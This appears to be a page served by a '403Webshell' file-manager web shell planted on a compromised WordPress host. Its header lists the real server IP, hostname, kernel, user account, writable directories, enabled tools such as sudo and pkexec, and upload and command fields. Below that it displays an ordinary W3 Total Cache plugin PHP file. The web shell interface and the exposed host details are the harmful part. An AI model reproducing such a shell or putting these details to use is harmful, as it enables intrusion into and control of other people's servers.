403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com/wp-content/plugins/w3-total-cache/Extensions_AdminActions.php
<?php
/**
 * File: Extensions_AdminActions.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class Extensions_AdminActions
 */
class Extensions_AdminActions {
	/**
	 * Activates a specified extension.
	 *
	 * @return void
	 */
	public function w3tc_extensions_activate() {
		$w3tc_config = Dispatcher::config();

		$w3tc_extension = Util_Request::get_string( 'w3tc_extensions_activate' );
		$w3tc_ext       = Extensions_Util::get_extension( $w3tc_config, $w3tc_extension );

		/**
		 * Per-extension capability gate, floored at manage_options.
		 * Prevents non-admins from activating extensions even if a
		 * downstream filter lowers the per-extension cap.
		 *
		 * @since 2.10.0
		 */
		$capability = apply_filters(
			'w3tc_capability_extensions_activate_' . $w3tc_extension,
			'manage_options'
		);
		if ( ! \current_user_can( 'manage_options' ) || empty( $capability ) || ! \current_user_can( $capability ) ) {
			wp_die(
				\esc_html__( 'You do not have sufficient permissions to perform this action.', 'w3-total-cache' ),
				'',
				array( 'response' => 403 )
			);
		}

		if ( ! is_null( $w3tc_ext ) && Extensions_Util::activate_extension( $w3tc_extension, $w3tc_config ) ) {
			Util_Admin::redirect_with_custom_messages2(
				array(
					'notes' => array(
						sprintf(
							// Translators: 1 HTML strong tag containing extension name.
							__(
								'Extension %s has been successfully activated.',
								'w3-total-cache'
							),
							'<strong>' . $w3tc_ext['name'] . '</strong>'
						),
					),
				)
			);
			return;
		}

		Util_Admin::redirect( array() );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit